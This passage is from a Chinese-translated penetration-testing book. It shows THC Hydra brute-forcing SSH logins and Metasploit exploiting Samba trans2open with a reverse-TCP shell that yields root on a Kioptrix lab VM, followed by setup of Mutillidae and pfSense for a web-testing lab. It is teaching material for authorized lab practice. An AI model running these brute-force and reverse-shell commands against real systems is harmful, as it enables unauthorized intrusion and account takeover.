尽管密码 ILoveKellie1!符合许多强制密码策略,但您可以轻松地制作一个密码列表,附加某些常用字符,如!,1,2 等等,通过阅读本书的开头,您将能够确定我的配偶的名字是 Kellie。如果您在创建您的单词列表时聪明地使用常用术语,如 ILove,Iam 等,那么其他部分将变得微不足道。现代密码暴力破解技术将在短短片刻内破解此密码。这使得破解密码变得比以往更快更容易。在这里,我们将看一些暴力破解这些密码的方法。

注意

请注意,本书中使用的许多示例都经过简化,以使概念更容易学习。一旦您理解了这些概念,您将能够在实际网络上执行相同的技术。

THC Hydra

THC Hydra 使检查弱密码的任务变得有趣。它是根据 GPLv3 发布的,并由 THC 团队不断更新。有关该产品的更新信息可以通过浏览www.thc.org/thc-hydra/找到。

注意

THC Hydra 目前支持 40 多种服务,包括 FTP、MySQL、POP3、SSH2、VNC 等等。

我们将启动我们的虚拟实验室,并开始使用包含在 BackTrack 5 中的 THC Hydra。让我们连接到 Kioptrix 机器并创建一个帐户,以便我们可以看到 Hydra 在查找密码时的表现。在 BackTrack 机器上加载我们之前使用的 Samba 漏洞利用程序:

# ./SambaVuln_10 -b 0 192.168.75.14 

连接后,输入以下内容以更改harold帐户的密码:

passwd Harold
New password: lotsOfPasswords
Retype new passwords: lotsOfPasswords 

与许多工具一样,确定语法的最快方法是在没有任何额外输入的情况下调用程序。

# hydra 

命令语法将显示在输出中:

Hydra v7.0 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]]

Hydra 可以从命令提示符中使用,但它也有一个可以通过以下方式调用的漂亮的 GUI:

# xhydra 

这个命令将启动 GUI,并呈现给我们以下内容:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

注意

我们将使用 BackTrack 中包含的密码文件,但理想情况下,你将下载或创建自己的密码文件,特别是如果你能够获取关于客户网站或元数据的公司特定信息。我强烈建议你查看 cewl(由 DigiNinja 编写,并预装在 Backtrack 上)www.digininja.org/projects/cewl.php

为了对我们的 Kioptrix 机器执行简单的暴力破解攻击,我们必须选择以下设置:

  • 目标选项卡

  • 单个目标:192.168.75.14(Kioptrix 虚拟机)

  • 端口:22

  • 协议:SSH

  • 检查以下选项:详细说明,显示尝试

  • 密码选项卡

  • 用户名:Harold

  • 密码:lotsOfPasswords

  • 检查:尝试使用密码登录,尝试空密码

  • 其他一切默认

转到开始选项卡,然后在屏幕底部点击开始按钮。你将看到以下内容:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

好吧,我们成功猜到了一个我们已经知道密码的帐户的密码…并不是很令人兴奋,但它确实让你知道,有简单的方法可以验证帐户登录是否准确,而无需登录到必要的客户端(例如检查 SNMP 或 TFTP)。

让我们把我们的密码添加到 BackTrack 5 中包含的字典中。打开一个终端会话,然后输入:

# /pentest/passwords/wordlists 

这将带你到单词列表目录。

提示

在单词列表目录中有一个名为darkc0de.lst的文件,可以帮助你入门。看看这个文件,了解一个典型的单词列表会包含什么。

这是一个非常方便的地方,可以存储所有个人的单词列表。许多测试人员会有几个喜欢的单词列表,并根据需要即时创建单词列表。让我们把我们的密码添加到这个列表中。编辑darkc0de.lst,使其看起来像这样:

^
^[^[
^[^[^[
^[^[^[^[
^[^[^[^[^[
^[^[^[^[^[^[
^[^[^[^[^[^[^[
^[^[^[^[^[^[^[^[
!magnus
!power
"A" SIDES
"DETROIT" GARY & CC TH WIGGINS
lotsOfPasswords 
#
#

我们已经将测试添加到了这个密码文件的头部,以便更快地找到它。

再次打开 Xhydra,并选择以下选项:

  • 目标选项卡

  • 单个目标:192.168.75.14(Kioptrix 虚拟机)

  • 端口:22

  • 协议:SSH

  • 检查以下选项:详细说明,显示尝试

  • 密码选项卡

  • 用户名:Harold

  • 密码列表:已选择,点击条目字段选择/pentest/passwords/wordlists/darkc0de.lst

  • 检查:尝试使用密码登录,尝试空密码

  • 调整

  • 任务数量:1

  • 在找到第一对后退出:已选中

  • 其他一切默认

再次转到开始选项卡,然后在窗口右下角点击开始:

![THC Hydra

Hydra THC 对任何人的工具箱都是一个明显的好处,它的使用应该得到练习和完善,才能真正成功地渗透复杂的网络,其中密码可能是整个安全架构中最薄弱的环节。

Metasploit-学习并喜欢它

Metasploit™框架是令人难以置信的。它以友好、易于使用的方式为渗透测试人员提供了各种工具。它最初是由 HD Moore 创建的,最近被 Rapid7 收购,Rapid7 是 Nexpose 漏洞扫描工具包的创建者。我们手动完成的所有工作都可以用 Metasploit 完成。如果您是渗透测试的新手,我强烈建议您通过www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training提供的免费培训,真正了解这个框架的强大之处。该网站不断更新,应该经常访问,以获取有关 MSF 框架最新添加的信息。在本书中,我们将范围限制在 MSF 框架的一些更有趣的功能上,以突出它为渗透测试人员必须完成的工作增加的效率。

更新 Metasploit 框架

一如既往,经常更新应用程序非常重要。在这方面,Metasploit 也不例外。您应该至少每周更新一次 Metasploit 框架的安装。这个命令非常容易记住。您可以在 BackTrack shell 中运行该命令,而不管当前的工作目录是什么。在更新之前,请确保您的 BackTrack 实验室机器已连接到互联网。

#msfupdate 

更新完成后,您应该会收到更新通知,然后是命令提示符:

Updated to revision <new revision number>
root@bt:~#

您还将在 Metasploit 标题屏幕上看到一个信息丰富的部分,提醒您上次更新的内容:

# msfconsole 

这个命令将产生类似以下的输出:

_ _
/ \ / \ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | | | | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | |_ \__/ | | | |_
|/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\
=[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 762 exploits - 404 auxiliary - 117 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
=[ svn r14271 updated today (2011.11.16) 
msf >

请注意,上次更新的日期和svn号码会作为输出的一部分呈现。

注意

现在可能是更新您的 BackTrack 虚拟机的好时机。在更新 Metasploit 框架之前,您应该先更新 BackTrack。

数据库和 Metasploit

我最喜欢的 Metasploit 功能之一是能够将所有结果转储到数据库中。Metasploit 默认使用 PostgreSQL。

注意

安装 PostgreSQL 可能并不是必需的。尝试在 MSF 上下文中连接到数据库,如果遇到错误,请按照完整的安装过程再次尝试。

在 BackTrack 5 上安装 PostgreSQL

我们需要重新连接我们的 BackTrack 5 虚拟机,以便再次下载和安装 PostgreSQL。一旦您已经验证了您的连接性,请键入以下内容:

# apt-get install postgresql 

阅读说明并按Y继续。安装应该以类似以下的声明结束:

Setting up postgresql (8.4.8-0ubuntu0.10.04) ...

现在我们需要对安装进行一些修改:

# sudo su postgres -c psql 

could not change directory to "/root"
psql (8.4.8)
Type "help" for help.

安装了 postgres 后,我们会看到以下提示,让我们知道我们正在数据库控制台中工作:

postgres=#

我们现在将更改默认数据库用户的密码:

postgres=# ALTER USER postgres WITH PASSWORD 'myPassword'; 

ALTER ROLE

在这里,我们更改了 postgre 角色的密码。我们将使用\q退出 postgres 控制台。

postgres=# \q 

验证数据库连接

加载 Metasploit 控制台:

# msfconsole 

msf >提示符下键入:

msf> db_connect postgres:myPassword@127.0.0.1/pentester
msf> db_status

[*] postgresql connected to pentester

现在我们知道我们连接到名为 pentester 的 PostgreSQL 数据库。我们可以通过输入以下内容来验证连接:

msf> hosts 

Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------

上一个命令将为我们提供主机列表。正如你所看到的,目前还没有什么有趣的东西。

在 Metasploit 中执行 Nmap 扫描

当运行主机命令时,我们需要一些令人兴奋的内容,所以让我们运行一个快速的 nmap 扫描来收集一些数据。打开msfconsole并连接到数据库后,我们现在可以直接从 Metasploit 运行我们的 nmap 扫描。

msf> db_nmap -nO -sTU -pT:22,80,111,139,443,32768,U:111,137,32768 192.168.75.14 

结果看起来非常熟悉,而且还有一个额外的好处,就是已经被添加到数据库以供将来参考:

[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-11-16 21:47 EST
[*] Nmap: Nmap scan report for 192.168.75.14
[*] Nmap: Host is up (0.00059s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 22/tcp open ssh
[*] Nmap: 80/tcp open http
[*] Nmap: 111/tcp open rpcbind
[*] Nmap: 139/tcp open netbios-ssn
[*] Nmap: 443/tcp open https
[*] Nmap: 32768/tcp open filenet-tms
[*] Nmap: 111/udp open rpcbind
[*] Nmap: 137/udp open netbios-ns
[*] Nmap: 32768/udp open|filtered omad
[*] Nmap: MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)
[*] Nmap: Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.4.X
[*] Nmap: OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
[*] Nmap: Network Distance: 1 hop
[*] Nmap: OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 3.00 seconds

如果我们运行快速的hosts命令,我们会看到系统已经添加到我们的 PostgreSQL 渗透测试数据库中:

msf > hosts 

Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.75.14 08:00:27:21:21:62 Linux 2.4.X device

现在数据已经在数据库中,我们可以执行各种方便的节省时间的技巧。例如,如果我们想要查看哪些系统打开了 443 端口,我们可以输入:

msf > services -p 443 

这为我们提供了一个格式良好的输出列表,列出了所有打开 443 端口的系统:

Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.75.14 443 tcp https open

使用辅助模块

msf > use auxiliary/scanner/portscan/tcp

使用命令指示 Metasploit 使用指定的模块。

msf auxiliary(tcp) > show options

每个模块都有一组特定的选项,可以通过show options命令显示。这个特定的模块有以下可以更改的选项:

Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds

我们需要更改其中一些以适应我们的需求:

msf auxiliary(tcp) > set RHOSTS 192.168.75.14
,

RHOSTS是我们的目标范围。我们将其设置为192.168.75.14:

msf auxiliary(tcp) > set PORTS 1-1024 

为了节省时间,我们将扫描限制在前 1024 个端口,使用set PORTS设置。

msf auxiliary(tcp) > run 

run命令将使用我们预定的设置启动扫描。几分钟后,我们将从控制台收到反馈:

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

这里需要注意的重要事项是,所有模块都以相同的方式运行。一旦您了解了搜索漏洞的方法,您将能够重复使用相同的步骤。

使用 Metasploit 来利用 Kioptrix

现在是时候看看如何使用 Metasploit 对我们的 Kioptrix 机器进行攻击了。由于我们知道如何编译和使用互联网上提供的概念验证代码,我们将能够快速体会到 Metasploit 提供的时间节省。我们将首先连接到我们的数据库。

# msfconsole
msf > db_connect postgres:myPassword@127.0.0.1/pentester

我们应该已经在我们的数据库中有一些信息。这可以得到验证:

msf > services 

这个命令给我们提供了以下输出:

Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.75.14 22 tcp ssh open
192.168.75.14 80 tcp http open
192.168.75.14 111 udp rpcbind open
192.168.75.14 111 tcp rpcbind open
192.168.75.14 137 udp netbios-ns open
192.168.75.14 139 tcp netbios-ssn open
192.168.75.14 443 tcp https open
192.168.75.14 32768 tcp filenet-tms open
192.168.75.14 32768 udp omad open

在审查这些端口时,我们发现我们之前利用的 samba 端口 139 仍然是开放的。现在是时候看看在不必重新格式化利用代码的情况下我们能做些什么了。

msf> search samba 

结果是:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 名称:一旦我们决定尝试哪种漏洞利用,名称列将与 USE 命令相关联。

  • 披露:披露日期是漏洞被公开或供应商知晓的实际日期,而不是概念验证代码发布的日期。

  • 等级:等级非常重要,因为它表明漏洞利用的可靠性有多高。

  • 描述也是这种漏洞利用的描述。

我们将使用trans2open漏洞利用,因为它类似于我们在本章前手动执行的操作。在msfconsole中输入:

msf > use exploit/linux/samba/trans2open 

当需要更多关于漏洞利用的信息时,我们可以使用info命令来接收以下输出:

msf exploit(trans2open) > info 

Name: Samba trans2open Overflow (Linux x86)
Module: exploit/linux/samba/trans2open
Version: 12196
Platform: Linux
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Provided by:
hdm <hdm@metasploit.com>
jduck <jduck@metasploit.com>
Available targets:
Id Name
-- ----
0 Samba 2.2.x - Bruteforce
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 139 yes The target port
Payload information:
Space: 1024
Avoid: 1 characters
Description:
This exploits the buffer overflow found in Samba versions 2.2.0 to
2.2.8\. This particular module is capable of exploiting the flaw on
x86 Linux systems that do not have the noexec stack option set.
NOTE: Some older versions of RedHat do not seem to be vulnerable
since they apparently do not allow anonymous access to IPC.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0201
http://www.osvdb.org/4469
http://www.securityfocus.com/bid/7294
http://seclists.org/bugtraq/2003/Apr/103

Metasploit 中的所有漏洞利用都提供这些信息。如果时间允许,花时间熟悉一些最常用的漏洞利用将对长远非常有益,因为您将能够避免尝试在生产系统上不起作用的漏洞利用。

现在我们需要设置一些可用的选项:

msf > set RHOST 192.168.75.14 

RHOST是远程主机,需要设置为我们的 Kioptrix 机器的 IP 地址。

msf > show payloads 

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

show payloads命令提供了可以与特定漏洞利用一起使用的所有兼容负载的列表。我们将在本例中使用reverse_tcp。这种负载类型通常很小且有效,尽管它没有 meterpreter 提供的全部选项。

> set payload linux/x86/shell/reverse_tcp 

我们还需要设置LHOSTLPORT

> set LHOST 192.168.75.12 

这是我们的本地主机,监听器将在上面设置。

> set LPORT 2222 

这是我们想要监听的端口。

现在这件事已经解决,我们可以继续进行利用:

> exploit 

如果一切顺利,您将收到以下确认和一个类似于我们在本章前手动编译的漏洞利用为我们提供的连接。

msf exploit(trans2open) > exploit 

[*] Started reverse handler on 192.168.75.12:2221
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.75.14
[*] Command shell session 2 opened (192.168.75.12:2221 -> 192.168.75.14:32802) at 2011-11-16 23:22:06 -0500

为了确保我们有 root 权限,我们将执行以下命令:

# mail

Mail version 8.1 6/6/93\. Type ? for help.
"/var/mail/root": 6 messages 6 unread
>U 1 root@kioptix.level1 Sat Sep 26 11:42 15/481 "About Level 2"
U 2 root@kioptrix.level1 Thu Nov 10 19:34 19/534 "LogWatch for kioptrix"
U 3 root@kioptrix.level1 Fri Nov 11 14:38 48/1235 "LogWatch for kioptrix"
U 4 root@kioptrix.level1 Sun Nov 13 15:12 19/534 "LogWatch for kioptrix"
U 5 root@kioptrix.level1 Mon Nov 14 18:23 244/12279 "LogWatch for kioptrix"
U 6 root@kioptrix.level1 Wed Nov 16 15:19 19/534 "LogWatch for kioptrix"

我们正在查看 root 帐户的消息,并且可以看到 Loneferret 给我们留了一条不错的消息;输入 1 来阅读它:

# 1

Message 1:
From root Sat Sep 26 11:42:10 2009
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

最后一个练习应该已经清楚地表明,与手动查找和编译代码相比,使用 Metasploit 是轻而易举的。最好的部分是,您将能够将自己的模块和编译代码添加到框架中。

总结

本章对利用进行了扎实的介绍。通过利用 Kioptrix,这是一个有意设置的易受攻击的 Linux 发行版,我们能够实际练习在 Exploit-DB 和 BackTrack 上定位漏洞,并纠正我们发现的任何错误。我们研究了真正理解渗透测试利用阶段所需的步骤,如横幅抓取和在受攻击的机器上传输文件。

我们研究了使用 John the Ripper 和 THC Hydra 进行密码破解和暴力破解,这两者都需要深入理解,以便为后续章节做准备。密码破解在短期内不会消失,对这个主题的专业知识在长期内可能非常有益。

本章还涵盖了将文件传输到受攻击的机器以及从中传输文件所需的步骤;这包括设置和配置与 BackTrack 5 预装的 FTP 守护程序。

最后,我们总结了 Metasploit 以及它如何简化渗透测试任务的方式。通过实际操作,很快就清楚地看到,尽管手动查找和编译利用代码可能有益,但使用 Metasploit 可以显著提高整体生产力。

在下一章中,我们将讨论测试 Web 应用程序及其基础架构安全所需的技术。这包括负载均衡器和 Web 应用程序防火墙的检测。还讨论了诸如 w3af 和 Webscarab 之类的工具的使用。此外,我们的虚拟实验室得到了极大的扩展,包括了 pfSense 和 Kioptrix Level 3 等多台机器。

第五章:Web 应用程序利用

在本章中,我们将探讨使用免费工具(如您的网络浏览器、w3af、WebScarab 等)测试 Web 应用程序的各种方法。我们还将讨论绕过 Web 应用程序防火墙和入侵检测系统的方法,以及如何确定目标是否正在进行负载平衡或过滤。本章需要进行大量的实验室准备。如果您不跟着示例进行操作,您可能希望跳过这些部分。

需要注意的是,在安全环境中,基于 Web 的应用程序可能是获得您正在测试的网络中的立足点的最直接方法。它们也是恶意用户最有可能使用的入口点。似乎每天都有更多的违规通知发布,其中大多数源于 Web 应用程序安全漏洞或配置错误。考虑到这些应用程序中的许多是通过互联网对公众开放的,因此 Web 应用程序是主要目标。互联网仍然提供各种匿名方法,从而限制了潜在攻击者面临的实际风险。毕竟,很难起诉你无法抓住的人。

注意

有许多种方法可以进行这种类型的测试。我们需要专门撰写一本书来覆盖所有方法。考虑到这一点,我们提供了有关在针对安全环境时提供最大利益的技术指导。

企业在决定安全预算应该花在哪里时通常会采用基于风险的方法,而在时间和预算限制下做出的决定有时会导致意外的错误,对整个环境的安全姿态产生深远影响。渗透测试人员必须能够模仿客户在野外可能面临的攻击类型,并提供有关如何减轻发现的漏洞的准确信息。有时这些应用甚至会让攻击者轻松绕过所有已经存在的安全控制。企业不仅面临失去关键信息的风险,而且在保护架构的其他方面上花费的所有资金都将被彻底浪费。

与其他章节一样,我们首先快速回顾我们选择的工具的基础知识,然后转向一些更有趣的技术。

熟能生巧

渗透测试需要使用需要时间和实践来完善的技能。为了鼓励吸收本章的材料,我们将在我们的实验室中添加一个负载平衡的有意漏洞的 Linux 发行版实例。我们还将使用我们的 Ubuntu 虚拟机来托管 Mutillidae 2.1.7(提供给社区的www.irongeek.com),这是一个具有故意安全漏洞的基于 Web 的应用程序,我们将利用这些漏洞。

如果您已经阅读了本书的各章节,您应该已经熟悉了 Kioptrix Level 1。现在我们将转向更高级的 Kioptrix 发行版,由 Steven McElrea(又名 loneferret)和 Richard Dinelle(又名 haken29a)的www.kioptrix.com团队提供给社区。

为了跟随本章的示例,虚拟实验室需要配置如下:

  • **BackTrack Linux:**连接到内部网络VLAN1

  • **Kioptrix VM Level 3:**连接到内部网络VLAN1

  • **Kioptrix VM Level 3 Clone:**连接到内部网络VLAN1

  • Ubuntu_TestMachine_1已安装 Mutillidae:连接到VLAN1

  • **PFSense VM:**连接到内部网络VLAN1。这将为我们的负载平衡提供支持

我们将演示安装 Kioptrix 3、创建 VM 克隆、在 Ubuntu 上安装 Mutillidae,并为我们当前的需求准备 PfSense。

注意

VLAN1 网络连接可以通过在 Oracle VM 管理器的网络设置中简单地选择内部网络来创建。PfSense 将用于为客户机 IP 地址提供 DHCP 服务器。

请查看抽象网络图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

安装 Kioptrix Level 3

学习最有效的方法之一是进行实践。Kioptrix Level 3 是由 loneferret(Steven McElrea)和 haken29a(Richard Dinelle)免费提供给社区的,旨在提供一个基本平台,用于获得这种经验。这个特定的发行版为我们提供了一个包含多个 Web 应用程序安全漏洞的平台,我们将利用这些漏洞来探索各种实践的 Web 应用程序利用方法。

前往www.kioptrix.com网站,选择您喜欢的语言,然后点击页面右侧的Kioptrix VM Level 1.2链接。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

您需要将文件提取到所选位置。此时,这个过程应该是熟悉的。打开 Oracle VirtualBox 并使用以下定义的设置创建一个新的虚拟机:

  • 名称:Kioptrix VM Level 3

  • 操作系统类型:其他 Linux

  • 内存:256

  • 启动磁盘:Kioptrix Level 3.vmdk(正常,3.00 GB)

要使用现有的 Kioptrix 机器,您需要选择:如下截图所示的使用现有硬盘选项:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

需要将新的 Kioptrix 系统添加到 Oracle VirtualBox 的网络设置部分,以确保该系统与 BackTrack 虚拟机共享相同的受限网络。两者都应设置为使用VLAN1

注意

如果在启动 Kioptrix Level 3 虚拟机时遇到错误,请编辑虚拟机设置,并在系统-主板中启用 IO APIC 设置。处理器设置下的 PAE/NX 也可能需要启用。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Kioptrix Level 3 可以通过各种方式来解决,因为这个发行版旨在帮助初学者学习渗透测试概念。我们能够专注于用于利用机器的方法论,而不是浪费时间试图突破旨在误导或混淆攻击者的安全机制,这些安全机制可能在真正的渗透测试中遇到。

创建 Kioptrix VM Level 3 克隆

我们将使用虚拟负载均衡器来确保我们准确模拟最有可能在安全环境中找到的技术类型。为此,我们需要创建另一个 Kioptrix VM 的实例。您可以轻松地按照之前概述的步骤来完成此任务,或者您可以利用 Oracle VirtualBox Manager 中包含的克隆功能。

要克隆虚拟客户机,请执行以下步骤:

  1. 打开Oracle VM VirtualBox Manager

  2. 如果需要,关闭要克隆的机器。

  3. 右键单击 Kioptrix VM Level 3 虚拟机,然后选择克隆选项。

  4. 勾选重新初始化所有网络卡的 MAC 地址选项。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  5. 点击下一步

  6. 选择完全克隆单选按钮。

  7. 点击克隆完成该过程。

通过选择重新初始化所有系统的 MAC 地址,我们确保将来避免网络冲突。

完成完整的实验设置后,请注意以下事项:

您需要将目标机器(使用 DHCP)的 IP 信息添加到 BackTrack 测试器 1 实例中。允许目标机器(Kioptrix)启动并获取 IP 地址。快速扫描您的虚拟网络,找到 Kioptrix 实例的分配 IP 地址,并将其添加到 BackTrack 的主机文件中。

在 Ubuntu 虚拟机上安装和配置 Mutillidae 2.1.7

Mutillidae 是由 Adrian “Irongeek” Crenshaw 和 Jeremy Druin 创建的一组脚本,故意对 OWASP 前 10 名进行了漏洞测试。有关发布的详细信息,请访问:www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10

我们将使用这些脚本来练习一些您应该熟悉的技术,以便在受保护的环境中进行渗透测试的挑战。

注意

如果需要练习,您还可以利用 Mutillidae 在分发的每个级别中包含的提示来增强对 Web 应用程序测试的信心。

正如我们之前提到的,Web 应用程序是一个非常好的目标,通常由于各种原因,包括计划外的软件更新、缺乏良好的编码实践等,往往会发现它们是不安全的。

  1. 首先,我们需要配置您的Ubuntu_TestMachine_1以使用两个网络适配器,一个用于 NAT,一个用于内部网络 VLAN1。这个过程现在应该很熟悉了,所以我们将不再回顾执行此任务所需的步骤。

  2. 启动Ubuntu_TestMachine_1,并验证与互联网的连接。现在是抓取所需的任何软件更新的最佳时机。

  3. 前往:www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10,并从 Adrian Crenshaw(Irongeek)的网站上下载 Mutillidae 2.1.7 的副本。Mutillidae 的开发人员努力为社区提供了一个有效的分发,以测试我们的技能对抗 OWASP 前 10 名。

提示

www.irongeek.com网站充满了精彩的信息;我强烈建议您抽出时间查看 IronGeek 收集或创建并提供给社区的一些渗透测试信息!

  1. 打开控制台窗口,切换到Downloads/目录。
# cd Downloads/ 

  1. 解压缩mutillidae-2.1.7.zip文件:
# unzip mutillidae-2.1.7.zip 

  1. mutillidae文件夹复制到/var/www目录:
# sudo cp -r mutillidae /var/www/ 

  1. 现在我们需要配置数据库连接,以便 mutillidae 正常运行。我们需要更改config.inc文件以反映我们为 root 设置了 MySQL 密码。将1EasyPassword替换为您的 MySQL root 密码。

注意

您还记得您在第三章中使用的 MySQL root 密码吗,枚举:明智地选择您的目标?如果不记得,那么您可能能够理解现实世界中为什么有这么多管理员重复使用密码的原因!在拥有许多机器的大型环境中,正确的密码管理至关重要。有一些可用的工具可以用来提供一次性密码以及其他改进身份验证方法的机制。

# sudo nano /var/www/mutillidae/config.inc
$dbpass = '1EasyPassword';

  1. 使用CTRL + OEnter,然后使用CTRL + X保存文件并返回到命令行。

  2. 在 Ubuntu 中打开 Firefox 浏览器,浏览到http://localhost/mutillidae

  3. 单击顶部导航栏中的设置/重置 DB链接。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

就是这样!现在我们需要重新启动机器并禁用 NAT 连接,以便它无法通过互联网访问。这些页面不应向互联网上的恶意用户提供。

安装和配置 pfSense

pfSense 是一个基于 FreeBSD 的虚拟防火墙和路由器的免费实现。它非常灵活,是各种应用的理想选择,包括建立虚拟实验室进行渗透测试。pfSense 提供的远不止简单的防火墙功能。由于它易于安装和配置,使得 pfSense 非常适合我们的目的;毕竟,我们现在正在努力保持简单,以便我们可以专注于渗透测试的重要方面,而不是冗长的讨论复杂虚拟路由器和交换机的正确配置。

为 pfSense 准备虚拟机

  1. pfSense 必须作为虚拟客户机下载和安装。在进行下一步之前,请下载分发。pfSense 下载镜像的链接位于:www.pfsense.org/mirror.php?section=downloads

  2. 选择靠近您物理位置的镜像以提高下载速度。

  3. 下载适当的发行版到您选择的位置。在本章的示例中,我们将使用pfSense-2.0-RELEASE-i386.iso.gz

  4. 验证下载的 MD5,然后解压到所选位置。

  5. 打开“Oracle VM VirtualBox Manager”,选择“新建”图标,然后单击“下一步”。

  6. 键入 pfSense VLAN1,并使用下拉菜单选择BSD作为操作系统FreeBSD作为版本,然后单击“下一步”。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  7. 如果系统资源可用,选择 256 MB 的 RAM。最低要求建议您至少使用 128 MB。准备好后,单击“下一步”。

  8. 为了安装 pfSense,我们需要创建一个新的硬盘。我们将使用 6 GB 进行安装。此设置可以低至 2 GB 并且仍然有效,但您将受到扩展 pfSense 功能的限制。在选择创建新硬盘径向选项后,单击“下一步”。

  9. 选择VDI(虚拟磁盘映像),然后单击“下一步”。

  10. 选择:动态分配虚拟磁盘文件,然后单击“下一步”。

  11. 如果您的机器上的磁盘空间不紧张,请至少选择6 GB。这将以 2 GB 的块动态分配,但现在设置较大的大小要比以后更改更容易。单击“下一步”。

  12. 确保您的设置与以下设置类似,并单击“创建”按钮以完成创建 pfSense 虚拟机。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  13. 右键单击 pfSense VLAN1 实例,选择“设置”。我们需要为这台虚拟机启用两个网络设备。将网络适配器 1 分配给内部网络WLAN1,将网络适配器 2 分配给VLAN1。如果以前没有使用过内部网络名称,您可能需要手动输入。从下拉菜单中选择PCNet-PCI II适配器(在高级菜单下的两个接口下)以避免与 FreeBSD 和 VirtualBox 相关的网络问题。

  14. 在单击OK并关闭窗口之前,从混杂模式下拉菜单中选择允许 VMs

  15. 在 Oracle VM VirtualBox 管理器中选择PFSense VLAN1,然后单击启动图标。

  16. 在弹出的首次运行向导屏幕上单击“下一步”。

  17. 单击屏幕右侧的图标,浏览到您下载并提取PFSense.iso的位置,选择它,然后单击“打开”。

  18. 单击“下一步”。

pfSense 虚拟机持久性

如果我们不想每次加载 pfSense 虚拟机时都手动重新配置它,我们需要在专用虚拟硬盘上执行完整安装。以下步骤将引导您完成必要的过程:

  1. 单击“启动”,这将开始 pfSense 虚拟机的引导序列。

  2. 1继续引导。

  3. I继续安装。在适当的时候按顺序使用以下设置:

  • 接受这些设置

  • 快速/简易安装

  • 好的

  • 对称多处理内核(多个处理器)

  • 重新启动

注意

为了避免安装介质在下次重启时启动,可能需要通过选择设备 | CD/DVD 设备并在菜单中取消选中pfsense.iso来“弹出”安装介质。

  1. 系统重新启动后,系统将询问您是否要立即设置 VLAN。输入y并按Enter继续。

  2. 输入新 VLAN 的父接口名称提示处输入le0并按Enter

  3. 输入 VLAN 标记处输入1

  4. 输入新 VLAN 的父接口名称提示处,输入le1并按Enter

  5. 输入 VLAN 标记处输入2

  6. Enter

  7. 输入 WAN 接口提示处,输入WLAN1接口。您可以查看 VirtualBox 中的设置,找出哪个网络适配器 MAC 地址是 WLAN 适配器。作为示例,我们将使用:le0并按Enter

  8. Enter,并选择适当的适配器用于 LAN(在我的情况下选择 VLAN1 适配器,le1)。

  9. 继续按Enter,然后在提示时按y继续。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

恭喜,您的实验室设置几乎完成了!在我们开始本章更有趣的部分之前,还有一些额外的设置需要配置。此时,您应该看到类似以下的屏幕:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

配置 pfSense DHCP 服务器

在开始之前,我们需要设置内置的 DHCP 服务器,以便我们的其他机器可以在 VLAN1 接口上获取地址,而无需手动配置。使用 pfSense 来管理 DHCP 连接比起简单使用 VirtualBox 提供的内置功能,能够提供更多的控制。

